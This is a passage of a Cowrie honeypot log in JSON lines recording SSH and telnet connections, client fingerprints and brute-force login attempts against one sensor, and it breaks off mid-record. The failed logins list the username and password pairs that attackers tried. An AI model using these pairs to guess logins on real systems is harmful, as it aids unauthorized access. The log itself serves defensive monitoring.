{"eventid":"cowrie.session.closed","duration":33.82605528831482,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:38.959744Z","src_ip":"170.64.224.25","session":"9ab97def2856","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":55912,"dst_ip":"10.17.0.5","dst_port":22,"session":"460e90a993af","protocol":"ssh","message":"New connection: 143.20.185.207:55912 (10.17.0.5:22) [session: 460e90a993af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:43.087257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:43.090811Z","src_ip":"143.20.185.207","session":"460e90a993af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:43.206698Z","src_ip":"143.20.185.207","session":"460e90a993af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS#4VCPU16GBAMD","message":"login attempt [root/RASYAXINSAVPS#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:43.556195Z","src_ip":"143.20.185.207","session":"460e90a993af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:44.672086Z","src_ip":"143.20.185.207","session":"460e90a993af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46882,"dst_ip":"159.203.135.109","dst_port":23,"session":"34904a2a9a3d","protocol":"telnet","message":"New connection: 170.64.224.25:46882 (159.203.135.109:23) [session: 34904a2a9a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:51.403651Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46898,"dst_ip":"159.203.135.109","dst_port":23,"session":"41c13ee1a7d7","protocol":"telnet","message":"New connection: 170.64.224.25:46898 (159.203.135.109:23) [session: 41c13ee1a7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:51.703128Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34818,"dst_ip":"159.203.135.109","dst_port":23,"session":"20d658e7505e","protocol":"telnet","message":"New connection: 107.6.151.170:34818 (159.203.135.109:23) [session: 20d658e7505e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:57.600958Z"}
{"eventid":"cowrie.session.closed","duration":54.16137719154358,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:11.051584Z","src_ip":"137.184.5.188","session":"251d18242d1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":46822,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5cc0e2a8cfa","protocol":"ssh","message":"New connection: 159.65.58.200:46822 (159.203.135.109:22) [session: e5cc0e2a8cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:16.602897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:16.831149Z","src_ip":"159.65.58.200","session":"e5cc0e2a8cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:16.834294Z","src_ip":"159.65.58.200","session":"e5cc0e2a8cfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sbg","password":"123456","message":"login attempt [sbg/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:18.314569Z","src_ip":"159.65.58.200","session":"e5cc0e2a8cfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":49748,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dee050be31c","protocol":"ssh","message":"New connection: 46.19.67.181:49748 (10.17.0.5:22) [session: 4dee050be31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:19.220282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:19.223238Z","src_ip":"46.19.67.181","session":"4dee050be31c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.825905084609985,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:19.229423Z","src_ip":"170.64.224.25","session":"34904a2a9a3d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:19.331740Z","src_ip":"46.19.67.181","session":"4dee050be31c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:19.617550Z","src_ip":"159.65.58.200","session":"e5cc0e2a8cfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"070388","message":"login attempt [root/070388] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:19.660079Z","src_ip":"46.19.67.181","session":"4dee050be31c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:20.771672Z","src_ip":"46.19.67.181","session":"4dee050be31c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35996,"dst_ip":"159.203.135.109","dst_port":23,"session":"cebe55b15115","protocol":"telnet","message":"New connection: 170.64.224.25:35996 (159.203.135.109:23) [session: cebe55b15115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:25.038696Z"}
{"eventid":"cowrie.session.closed","duration":32.84004497528076,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:30.440922Z","src_ip":"107.6.151.170","session":"20d658e7505e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.7247679233551,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:31.427728Z","src_ip":"170.64.224.25","session":"41c13ee1a7d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.11","src_port":36466,"dst_ip":"10.17.0.5","dst_port":22,"session":"868a4c44d41e","protocol":"ssh","message":"New connection: 103.203.57.11:36466 (10.17.0.5:22) [session: 868a4c44d41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:32.668658Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:32.682202Z","src_ip":"103.203.57.11","session":"868a4c44d41e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49600,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9227e77508e","protocol":"telnet","message":"New connection: 170.64.224.25:49600 (159.203.135.109:23) [session: e9227e77508e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:59:54.644671Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":32894,"dst_ip":"159.203.135.109","dst_port":23,"session":"959fdee8c553","protocol":"telnet","message":"New connection: 170.64.224.25:32894 (159.203.135.109:23) [session: 959fdee8c553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:00:22.123393Z"}
{"eventid":"cowrie.session.closed","duration":71.26163840293884,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:00:36.300224Z","src_ip":"170.64.224.25","session":"cebe55b15115","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.210553884506226,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:00:36.855124Z","src_ip":"170.64.224.25","session":"e9227e77508e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":38008,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e24786bd823","protocol":"telnet","message":"New connection: 137.184.5.188:38008 (159.203.135.109:23) [session: 1e24786bd823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:01:03.556375Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":40920,"dst_ip":"159.203.135.109","dst_port":22,"session":"18f1bd56ed41","protocol":"ssh","message":"New connection: 103.122.221.179:40920 (159.203.135.109:22) [session: 18f1bd56ed41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:01:49.523919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:01:49.538510Z","src_ip":"103.122.221.179","session":"18f1bd56ed41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:01:49.781972Z","src_ip":"103.122.221.179","session":"18f1bd56ed41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13021996","message":"login attempt [root/13021996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:01:50.515197Z","src_ip":"103.122.221.179","session":"18f1bd56ed41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:01:51.762426Z","src_ip":"103.122.221.179","session":"18f1bd56ed41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.097129583358765,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:01:58.653395Z","src_ip":"137.184.5.188","session":"1e24786bd823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":53816,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e70041710ce","protocol":"ssh","message":"New connection: 159.65.58.200:53816 (159.203.135.109:22) [session: 4e70041710ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:02:10.396756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:02:10.518297Z","src_ip":"159.65.58.200","session":"4e70041710ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:02:10.521217Z","src_ip":"159.65.58.200","session":"4e70041710ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serdiouk","password":"123456","message":"login attempt [serdiouk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:02:11.916643Z","src_ip":"159.65.58.200","session":"4e70041710ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:02:13.317594Z","src_ip":"159.65.58.200","session":"4e70041710ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0016222000122,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:02:22.124903Z","src_ip":"170.64.224.25","session":"959fdee8c553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":57930,"dst_ip":"159.203.135.109","dst_port":23,"session":"0588b5de4f2a","protocol":"telnet","message":"New connection: 137.184.5.188:57930 (159.203.135.109:23) [session: 0588b5de4f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:02:48.070932Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":60944,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e6d12ce0f87","protocol":"ssh","message":"New connection: 162.241.33.238:60944 (10.17.0.5:22) [session: 3e6d12ce0f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:03:07.477797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:03:07.481638Z","src_ip":"162.241.33.238","session":"3e6d12ce0f87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:03:07.506231Z","src_ip":"162.241.33.238","session":"3e6d12ce0f87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"siacoin456","message":"login attempt [root/siacoin456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:03:07.581254Z","src_ip":"162.241.33.238","session":"3e6d12ce0f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:03:08.608077Z","src_ip":"162.241.33.238","session":"3e6d12ce0f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":40566,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c28a9fa2529","protocol":"ssh","message":"New connection: 176.32.39.21:40566 (10.17.0.5:22) [session: 7c28a9fa2529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:03:36.129927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:03:36.134204Z","src_ip":"176.32.39.21","session":"7c28a9fa2529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","r